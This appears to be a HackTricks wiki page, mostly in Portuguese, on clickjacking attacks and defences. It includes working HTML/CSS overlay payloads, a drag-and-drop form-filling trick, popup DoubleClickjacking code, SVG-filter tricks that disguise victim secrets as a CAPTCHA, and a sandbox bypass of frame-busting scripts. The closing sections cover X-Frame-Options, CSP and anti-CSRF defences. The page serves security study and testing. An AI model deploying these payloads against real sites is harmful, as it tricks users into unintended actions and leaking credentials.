Clickjacking
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é Clickjacking
Em um ataque de clickjacking, um usuário é enganado para clicar em um elemento em uma página web que está invisível ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências não intencionais para o usuário, como o download de malware, redirecionamento para páginas web maliciosas, entrega de credenciais ou informações sensíveis, transferências de dinheiro, ou a compra online de produtos.
Truque de pré-preenchimento de formulários
Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar o clickjacking payload para que o usuário pressione o botão Submit.
Preencher formulário com Drag&Drop
Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente que ele escreva alguma informação específica (como o email e/ou uma senha específica que você conhece), você pode simplesmente pedir que ele Drag&Drop algo que irá escrever os dados controlados por você, como em this example.
Payload Básico
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload em múltiplas etapas
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se você identificou um XSS que requer que o usuário clique em algum elemento para disparar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável a Clickjacking e você pode pré-preencher o formulário com os parâmetros GET.
Um atacante poderia preparar um ataque de Clickjacking para essa página pré-preenchendo o formulário com o XSS payload e enganando o usuário para Enviar o formulário. Assim, quando o formulário for enviado e os valores forem modificados, o usuário executará o XSS.
DoubleClickjacking
Primeiro explicado neste post, essa técnica pede que a vítima dê um duplo clique em um botão de uma página custom colocada em uma posição específica, e usa as diferenças de tempo entre os eventos mousedown e onclick para carregar a página da vítima durante o duplo clique para que a vítima realmente clique em um botão legítimo na página da vítima.
Um exemplo pode ser visto neste vídeo: https://www.youtube.com/watch?v=4rGvRRMrD18
Um exemplo de código pode ser encontrado em this page.
Warning
Essa técnica permite enganar o usuário para clicar em um único ponto na página vítima, contornando todas as proteções contra clickjacking. Portanto, o atacante precisa encontrar ações sensíveis que possam ser feitas com apenas 1 clique, como prompts OAuth que aceitam permissões.
Popup-based DoubleClickjacking (no iframes)
Alguns PoCs abandonam iframes completamente e mantêm um background popup alinhado sob o cursor. A página atacante rastreia mousemove e usa um pequeno popup (window.open) que é movido com moveTo() enquanto está same-origin; uma vez alinhado, ele é redirecionado de volta para a target origin para que o próximo clique caia no botão real. Como moveTo() cross‑origin é bloqueado, o popup é brevemente navegado para uma origem atacante para reposicionamento, então location/history.back() retorna ao alvo. Para trazer o alvo à superfície no momento do clique, o atacante pode reabrir o popup com o mesmo window name para trazê-lo ao primeiro plano sem mudar a URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Builds modernos do Chromium/WebKit/Gecko permitem que o CSS filter:url(#id) seja aplicado a cross-origin iframes. Os pixels rasterizados do iframe são expostos ao SVG filter graph como SourceGraphic, então primitivas como feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. podem deformar arbitrariamente a UI da vítima antes que o usuário a veja, mesmo que o atacante nunca toque no DOM. Um filtro simples no estilo Liquid-Glass fica assim:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitivas úteis:
feImagecarrega bitmaps do atacante (e.g., overlays, displacement maps);feFloodconstrói máscaras de cor constante;feOffset/feGaussianBlurrefinam destaques;feDisplacementMaprefrata/deforma texto;feComposite operator="arithmetic"implementa matemática arbitrária por canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), o que é suficiente para aumento de contraste, mascaramento e operações AND/OR;feTilerecorta e replica sondas de pixels;feMorphologyexpande/encolhe traços;feColorMatrixmove luma para alpha para construir máscaras precisas.
Distorcendo segredos em prompts no estilo CAPTCHA
Se um endpoint framable renderiza segredos (tokens, reset codes, API keys), o atacante pode distorcê‑los para que se pareçam com um CAPTCHA e coagir a transcrição manual:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Os pixels distorcidos enganam o usuário fazendo-o “resolver” o captcha dentro do <input> controlado pelo atacante cujo pattern impõe o segredo real da vítima.
Recontextualizando entradas da vítima
Filters podem remover cirurgicamente o texto de placeholder/validação enquanto preservam as teclas digitadas pelo usuário. Um fluxo de trabalho:
feComposite operator="arithmetic" k2≈4amplifica o brilho para que o texto de ajuda cinza sature para branco.feTilelimita a área de trabalho ao retângulo do input.feMorphology operator="erode"engrossa os glifos escuros digitados pela vítima e os armazena viaresult="thick".feFloodcria uma placa branca,feBlend mode="difference"comthick, e um segundofeComposite k2≈100o transforma em uma máscara de luminância intensa.feColorMatrixmove essa luminância para o alpha, efeComposite in="SourceGraphic" operator="in"mantém apenas os glifos inseridos pelo usuário.- Outro
feBlend in2="white"mais um corte fino gera uma caixa de texto limpa, após a qual o atacante sobrepõe seus próprios rótulos HTML (por ex., “Insira seu e‑mail”) enquanto o iframe oculto ainda aplica a política de senhas da origem da vítima.
Safari tem dificuldades com feTile; o mesmo efeito pode ser reproduzido com máscaras espaciais construídas a partir de feFlood + feColorMatrix + feComposite para payloads apenas WebKit.
Pixel probes, logic and state machines
Ao recortar uma região de 2–4 px com feTile e tileá‑la para 100% da viewport, o atacante transforma a cor amostrada em uma textura de quadro completo que pode ser limiarizada em uma máscara booleana:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
For arbitrary colors, a feFlood reference (e.g., #0B57D0) plus feBlend mode="difference" and another arithmetic composite (k2≈100, k4 as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into feComposite with tuned k1..k4 yields logic gates: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.
Atacantes podem, portanto, ler o estado da UI sem JavaScript. Exemplos de booleanos de um fluxo modal:
- D (dialog visible): sonde um canto escurecido e teste contra branco.
- L (dialog loaded): sonde as coordenadas onde o botão aparece assim que estiver pronto.
- C (checkbox checked): compare o pixel da checkbox contra o azul ativo
#0B57D0. - R (red success/failure banner): use
feMorphologye limiares vermelhos dentro do retângulo do banner.
Cada estado detectado ativa um overlay bitmap diferente embutido via feImage xlink:href="data:...". Mascar esses bitmaps com D, L, C, R mantém os overlays sincronizados com o diálogo real e guia a vítima através de fluxos multi-etapa (redefinições de senha, aprovações, confirmações destrutivas) sem nunca expor o DOM.
Sandboxed iframe Basic Auth dialog (no allow-popups)
A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Once the response arrives, the browser prompts for credentials even though popups are disallowed. Emoldurar (framing) uma origem confiável com esse truque permite UI redress/phishing: prompts modais inesperados dentro de um “sandboxed” widget podem confundir usuários ou acionar password managers para oferecer credenciais armazenadas.
Extensões de navegador: DOM-based autofill clickjacking
Além de iframing páginas da vítima, atacantes podem mirar em elementos de UI de extensões de navegador que são injetados na página. Password managers renderizam dropdowns de autofill próximos aos inputs focados; ao focar um campo controlado pelo atacante e esconder/ocluir o dropdown da extensão (truques de opacity/overlay/top-layer), um clique coagido do usuário pode selecionar um item armazenado e preencher dados sensíveis em inputs controlados pelo atacante. Esta variante não requer exposição via iframe e funciona inteiramente por manipulação do DOM/CSS.
A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Estratégias para Mitigate Clickjacking
Defesas do Lado do Cliente
Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:
- Garantir que a janela da aplicação seja a janela principal ou top window.
- Tornar todos os frames visíveis.
- Impedir cliques em frames invisíveis.
- Detectar e alertar usuários sobre potenciais tentativas de Clickjacking.
No entanto, esses frame-busting scripts podem ser contornados:
- Configurações de Segurança dos Browsers: Alguns browsers podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte a JavaScript.
- HTML5 iframe
sandboxAttribute: Um atacante pode neutralizar frame buster scripts definindo o atributosandboxcom os valoresallow-formsouallow-scriptssemallow-top-navigation. Isso impede o iframe de verificar se ele é a top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Os valores allow-forms e allow-scripts permitem ações dentro do iframe enquanto desativam a navegação no nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como allow-same-origin e allow-modals podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem indicar quais permissões permitir.
Defesas no Lado do Servidor
X-Frame-Options
O X-Frame-Options HTTP response header informa aos navegadores sobre a legitimidade de renderizar uma página em um <frame> ou <iframe>, ajudando a prevenir Clickjacking:
X-Frame-Options: deny- Nenhum domínio pode emoldurar o conteúdo.X-Frame-Options: sameorigin- Apenas o mesmo site pode emoldurar o conteúdo.X-Frame-Options: allow-from https://trusted.com- Apenas o ‘uri’ especificado pode emoldurar a página.- Observe as limitações: se o navegador não suportar essa diretiva, ela pode não funcionar. Alguns navegadores preferem a diretiva frame-ancestors do CSP.
Content Security Policy (CSP) - diretiva frame-ancestors
A diretiva frame-ancestors do CSP é o método recomendado para proteção contra Clickjacking:
frame-ancestors 'none'- Semelhante aX-Frame-Options: deny.frame-ancestors 'self'- Semelhante aX-Frame-Options: sameorigin.frame-ancestors trusted.com- Semelhante aX-Frame-Options: allow-from.
Por exemplo, o seguinte CSP permite o enquadramento apenas pelo mesmo domínio:
Content-Security-Policy: frame-ancestors 'self';
Mais detalhes e exemplos complexos podem ser encontrados na frame-ancestors CSP documentation e na Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) com child-src e frame-src
Content Security Policy (CSP) é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.
frame-src Directive
- Define fontes válidas para frames.
- Mais específica que a diretiva
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Esta política permite frames da mesma origem (self) e https://trusted-website.com.
child-src Diretiva
- Introduzida no CSP nível 2 para definir fontes válidas para web workers e frames.
- Atua como fallback para frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
Notas de Uso:
- Deprecação: child-src está sendo descontinuado em favor de frame-src e worker-src.
- Comportamento de fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
- Definição Estrita de Fontes: Inclua apenas fontes confiáveis nas diretivas para evitar exploração.
JavaScript Frame-Breaking Scripts
Embora não sejam completamente infalíveis, JavaScript-based frame-busting scripts podem ser usados para impedir que uma página web seja exibida dentro de um frame. Exemplo:
if (top !== self) {
top.location = self.location
}
Uso de tokens Anti-CSRF
- Validação de token: Utilize tokens anti-CSRF em aplicações web para garantir que requisições que alteram estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.
Referências
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


